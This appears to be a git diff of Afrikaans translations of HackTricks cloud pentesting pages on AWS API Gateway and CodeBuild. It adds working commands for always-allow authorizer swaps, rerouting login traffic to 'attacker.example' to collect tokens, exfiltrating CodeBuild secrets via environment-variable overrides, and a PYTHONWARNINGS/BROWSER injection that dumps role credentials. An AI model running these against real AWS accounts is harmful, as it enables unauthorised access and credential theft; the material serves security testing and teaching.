mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-a
This commit is contained in:
+31
-8
@@ -1,32 +1,55 @@
|
||||
# AWS - API Gateway Persistence
|
||||
# AWS - API Gateway Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
Vir meer inligting, gaan na:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
### Hulpbronbeleid
|
||||
|
||||
Wysig die resource policy van die API gateway(s) om jouself toegang daartoe te gee
|
||||
Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang daartoe te verleen
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
### Wysig Lambda Authorizers
|
||||
|
||||
Wysig die kode van lambda authorizers om jouself toegang tot al die endpoints te gee.\
|
||||
Wysig die kode van lambda authorizers om jouself toegang tot alle eindpunte te gee.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
As jy control-plane-permissies het om **'n authorizer te skep/op te dateer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) kan jy ook **die authorizer herwys na 'n Lambda wat altyd toelaat**.
|
||||
|
||||
REST APIs (veranderinge vereis gewoonlik 'n deployment):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP APIs / `apigatewayv2` (dikwels onmiddellik van krag):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissions
|
||||
|
||||
As 'n resource 'n IAM authorizer gebruik, kan jy jouself toegang gee deur IAM permissions aan te pas.\
|
||||
As 'n bron 'n IAM authorizer gebruik, kan jy jouself toegang daartoe gee deur die IAM permissions te wysig.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe te skep.\
|
||||
As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe keys te skep.\
|
||||
Of verwyder net die gebruik van API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+43
-20
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -13,34 +13,57 @@ Vir meer inligting, kyk:
|
||||
### Toegang tot nie-blootgestelde APIs
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Vanaf die EC2-masjien sal jy dan die endpoint kan bereik en dus die gateway API kan aanroep wat voorheen nie blootgestel was nie.
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
Hierdie tegniek is gevind in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Soos aangedui in die [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, sal die waarde **`WHEN_NO_MATCH`**, wanneer die **Content-Type** header van die versoek nagegaan word, die versoek sonder transformasie na die back end deurgee.
|
||||
Soos aangedui in die [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, sal standaard die waarde **`WHEN_NO_MATCH`**, wanneer die **Content-Type** header van die versoek gecheck word, die versoek na die back end stuur sonder transformasie.
|
||||
|
||||
Daarom het die API Gateway in die CTF 'n integration template gehad wat **preventing the flag from being exfiltrated** in 'n response toe 'n versoek gestuur is met `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Egter, 'n versoek met **`Content-type: text/json`** sou daardie filter omseil.
|
||||
Egter, om 'n versoek te stuur met **`Content-type: text/json`** sou daardie filter omseil.
|
||||
|
||||
Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB query sonder beperking te stuur deur 'n POST versoek met die query in die body te stuur en die header `X-HTTP-Method-Override: GET` te gebruik:
|
||||
Uiteindelik, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag sonder enige beperking te stuur deur 'n POST-versoek met die navraag in die body te stuur en die header `X-HTTP-Method-Override: GET` te gebruik:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Gebruikplanne DoS
|
||||
|
||||
In die **Enumeration** afdeling kan jy sien hoe om die **verkry die gebruikplan** van die sleutels. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**.
|
||||
In die **Enumeration** afdeling kan jy sien hoe om die **gebruikplan** van die sleutels te verkry. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit net gebruik en 'n **DoS** veroorsaak.
|
||||
|
||||
Die **API Key** hoef net **ingesluit** te word in 'n **HTTP header** genaamd **`x-api-key`**.
|
||||
Die **API Key** hoef net ingesluit te word in 'n **HTTP header** genaamd **`x-api-key`**.
|
||||
|
||||
### Wissel Route-integrasie om exfil verkeer (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
As jy 'n **HTTP API integration** kan opdateer, kan jy 'n sensitiewe roete (bv. `/login`, `/token`, `/submit`) herlei na 'n deur-aanvaller-beheerde HTTP-endpoint en stilweg **versamel headers en bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
|
||||
|
||||
Voorbeeld-werkstroom:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
Aantekeninge:
|
||||
|
||||
- Vir **HTTP APIs** tree veranderinge gewoonlik onmiddellik in werking (anders as by REST APIs waar jy tipies 'n deployment moet skep).
|
||||
- Of jy na 'n arbitrary URL kan wys, hang af van die integration type/config; in sommige gevalle kan jy ook die integration type verander wanneer jy dit patch.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die permissies `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte headers of response templates in te sluit wat sensitiewe inligting leak of kwaadwillige skripte uitvoer**.
|
||||
'n aanvaller met die permissions `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om custom headers of response templates in te sluit wat sensitiewe inligting leak of kwaadaardige scripts uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API resources.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **wysig 'n bestaande API Gateway-stage om verkeer na 'n ander stage te herlei of die caching-instellings te verander om ongemagtigde toegang tot gecachede data te verkry**.
|
||||
'n aanvaller met die permissies `apigateway:UpdateStage` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway stage wysig om verkeer na 'n ander stage te herlei of die caching-instellings te verander om ongemagtigde toegang tot gecachte data te verkry**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Ongemagtigde toegang tot gecachede data, die ontwrigting of onderskep van API-verkeer.
|
||||
**Potensiële impak**: Ongeoorloofde toegang tot gekasheerde data, ontwrigting of onderskeping van API-verkeer.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
> Moet getoets word
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die toestemmings `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die metode-antwoord van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte headers of antwoordsjablone in te sluit wat leak sensitiewe inligting of kwaadwillige skripte uitvoer**.
|
||||
'n Aanvaller met die permissies `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die method response van 'n bestaande API Gateway REST API-metode wysig om aangepaste headers of response templates in te sluit wat gevoelige inligting leaken of kwaadwillige skripte uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
**Potensiële impak**: Lekkasie van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-bronne.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
> Moet getoets word
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die permissies `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging uit te skakel of die minimum TLS-weergawe te verander, wat moontlik die veiligheid van die API verswak**.
|
||||
`apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan 'n aanvaller met die permissies `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging uit te skakel of die minimum TLS version te verander, wat moontlik die sekuriteit van die API verswak**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Verzwakking van die API se veiligheid, wat moontlik ongemagtigde toegang toelaat of sensitiewe inligting blootstel.
|
||||
**Potensiële impak**: Verswakking van die sekuriteit van die API, wat moontlik onbevoegde toegang toelaat of sensitiewe inligting kan blootstel.
|
||||
|
||||
> [!NOTE]
|
||||
> Moet getoets word
|
||||
> Benodig toetsing
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
'n Aanvaller met toestemmings `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API keys skep, dit met usage plans koppel, en dan hierdie keys gebruik vir ongemagtigde toegang tot APIs**.
|
||||
'n aanvaller met permissies `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API keys skep, dit met usage plans assosieer, en dan hierdie keys gebruik vir onbevoegde toegang tot APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
+25
-13
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
Vir meer inligting sien:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,37 +12,37 @@ Vir meer inligting sien:
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
Met hierdie toestemming kan jy API-sleutels genereer vir die APIs wat gekonfigureer is (per streek).
|
||||
Met hierdie toestemming kan jy API-sleutels genereer vir die geconfigureerde APIs (per streek).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Potensiële impak:** Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan dalk toegang tot sensitiewe inligting kry.
|
||||
**Potensiële impak:** Jy kan nie privesc met hierdie tegniek nie, maar jy kan dalk toegang tot gevoelige inligting kry.
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
Met hierdie toestemming kan jy die gegenereerde API keys van die geconfigureerde APIs kry (per streek).
|
||||
Met hierdie toestemming kan jy die gegenereerde API-sleutels van die gekonfigureerde APIs kry (per streek).
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**Potensiële impak:** Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan dalk toegang tot sensitiewe inligting kry.
|
||||
**Potensiële impak:** Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan moontlik toegang tot sensitiewe inligting kry.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om die resource policy van 'n API te wysig om jouself toegang te gee om dit aan te roep en potensiële toegang wat die API gateway mag hê te misbruik (soos om 'n kwesbare lambda aan te roep).
|
||||
Met hierdie permissies is dit moontlik om die resource policy van 'n API te wysig om jouself toegang te gee om dit aan te roep en om potensiële toegang wat die API gateway mag hê te misbruik (soos om 'n kwesbare lambda aan te roep).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Potensiële impak:** Jy sal gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy kan dalk toegang tot sensitiewe inligting kry.
|
||||
**Potensiële impak:** Jy gaan gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy kan moontlik toegang tot sensitiewe inligting kry.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
> Moet nog getoets word
|
||||
|
||||
'n aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API voeg met 'n Lambda-funksie waaraan 'n IAM-rol gekoppel is**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat aan die IAM-rol gekoppel is, verkry**.
|
||||
An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **voeg 'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda function wat 'n IAM role aangeheg het**. Die attacker kan dan **die Lambda function trigger om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne geassosieer met die IAM role te verkry**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
> Moet getoets word
|
||||
|
||||
'n aanvaller met die toestemmings `apigateway:UpdateAuthorizer` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway authorizer wysig** om sekuriteitskontroles te omseil of om ewekansige kode uit te voer wanneer API-versoeke gemaak word.
|
||||
An attacker met die permissies `apigateway:UpdateAuthorizer` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway authorizer wysig** om security checks te bypass (bv. dit na 'n Lambda te herlei wat altyd "allow" terugstuur) of execute arbitrary code wanneer API-versoeke gemaak word.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -77,12 +77,24 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Omseiling van sekuriteitskontroles, onbevoegde toegang tot API-hulpbronne.
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` variante
|
||||
|
||||
Vir HTTP APIs (API Gateway v2) is die ekwivalente operasie om die authorizer via `apigatewayv2` by te werk:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
'n aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC Link wysig om na 'n ander Network Load Balancer te wys, en sodoende moontlik privaat API-verkeer na onbevoegde of kwaadwillige hulpbronne omlei**.
|
||||
'n aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC Link wysig sodat dit na 'n ander Network Load Balancer wys, wat moontlik privaat API-verkeer na ongemagtigde of kwaadwillige hulpbronne kan herlei**.
|
||||
```bash
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**Potensiële Impak**: Ongeoorloofde toegang tot privaat API-hulpbronne, afluistering of ontwrigting van API-verkeer.
|
||||
**Potensiële impak**: Ongemagtigde toegang tot privaat API-hulpbronne, onderskeping of ontwrigting van API-verkeer.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+84
-21
@@ -12,7 +12,7 @@ Kry meer inligting by:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Slegs met een van hierdie permissies is dit genoeg om 'n build met 'n nuwe buildspec te begin en die token van die iam role wat aan die projek toegewys is te steel:
|
||||
Net een van hierdie permissies is genoeg om `n build` met `n nuwe buildspec` te begin en die token van die IAM-rol wat aan die projek toegeken is, te steel:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Let wel**: Die verskil tussen hierdie twee opdragte is dat:
|
||||
**Nota**: Die verskil tussen hierdie twee opdragte is dat:
|
||||
|
||||
- `StartBuild` veroorsaak een enkele build-taak wat 'n spesifieke `buildspec.yml` gebruik.
|
||||
- `StartBuildBatch` laat jou toe om 'n bondel builds te begin, met meer ingewikkelde konfigurasies (bv. om verskeie builds parallel te laat loop).
|
||||
- `StartBuild` begin 'n enkele build-taak met 'n spesifieke `buildspec.yml`.
|
||||
- `StartBuildBatch` laat jou toe om 'n groep builds te begin, met meer komplekse konfigurasies (soos om verskeie builds parallel te laat loop).
|
||||
|
||||
**Potensiële impak:** Direkte privesc na gekoppelde AWS Codebuild-rolle.
|
||||
**Potential Impact:** Direkte privesc na aangehegte AWS CodeBuild rolle.
|
||||
|
||||
#### StartBuild Omgewingvariabele-oorskrywing
|
||||
|
||||
Selfs as jy **nie die projek kan wysig nie** (`UpdateProject`) en jy **nie die buildspec kan oorskryf nie**, laat `codebuild:StartBuild` steeds toe om omgewingvariabels tydens die build te oorskryf via:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
As die build omgewingvariabels gebruik om gedrag te beheer (destination buckets, feature flags, proxy settings, logging, etc.), kan dit genoeg wees om **exfiltrate secrets** waarvoor die build-rol toegang het, of om **code execution** binne die build te kry.
|
||||
|
||||
##### Voorbeeld 1: Herlei Artefak/Oplaai-bestemming om exfiltrate secrets
|
||||
|
||||
As die build 'n artefak na 'n bucket/pad publiseer wat deur 'n omgewingvariabele beheer word (byvoorbeeld `UPLOAD_BUCKET`), oorskryf dit na 'n aanvaller-beheerde bucket:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### Voorbeeld 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
As die build `python3` (algemeen in buildspecs) uitvoer, kan jy soms kode-uitvoering kry sonder om die buildspec aan te raak deur misbruik van:
|
||||
|
||||
- `PYTHONWARNINGS`: Python los die *category*-veld op en sal dotted paths invoer. Om dit op `...:antigravity.x:...` te stel dwing die invoer van die stdlib-module `antigravity` af.
|
||||
- `antigravity`: roep `webbrowser.open(...)` aan.
|
||||
- `BROWSER`: beheer wat `webbrowser` uitvoer. Op Linux word dit deur `:` geskei. Die gebruik van `#%s` maak die URL-argument 'n shell-opmerking.
|
||||
|
||||
Hiermee kan mens die CodeBuild role credentials (van `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) in CloudWatch logs druk, en dit dan terugkry as jy permissies het om logs te lees.
|
||||
|
||||
<details>
|
||||
<summary>Uitvoubaar: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
'n Aanvaller met die **`iam:PassRole`, `codebuild:CreateProject`, en `codebuild:StartBuild` of `codebuild:StartBuildBatch`** toestemmings sou in staat wees om **bevoegdhede na enige Codebuild IAM-rol te eskaleer** deur een wat loop te skep.
|
||||
'n Aanvaller met die **`iam:PassRole`, `codebuild:CreateProject`, en `codebuild:StartBuild` of `codebuild:StartBuildBatch`** regte sou in staat wees om **voorregte na enige codebuild IAM-rol te eskaleer** deur een te skep wat lopend is.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Direkte privesc na enige AWS Codebuild-rol.
|
||||
**Potensiële impak:** Direkte privesc op enige AWS Codebuild-rol.
|
||||
|
||||
> [!WARNING]
|
||||
> In 'n **Codebuild container** bevat die lêer `/codebuild/output/tmp/env.sh` al die env vars wat nodig is om toegang tot die **metadata credentials** te kry.
|
||||
> In a **Codebuild container** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewingsvariabeles wat nodig is om by die **metadata credentials** te kom.
|
||||
|
||||
> Hierdie lêer bevat die **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL path** bevat om toegang tot die credentials te kry. Dit sal iets soos dit wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Hierdie lêer bevat die **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL path** bevat om by die credentials te kom. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal die role credentials kan dump.
|
||||
> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal die rol-credentials kan dump.
|
||||
|
||||
> Verder bevat dit ook die **env variable `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata info oor die container** te kry.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Net soos in die vorige afdeling, as jy in plaas daarvan om 'n build project te skep dit kan wysig, kan jy die IAM Role aandui en die token steel.
|
||||
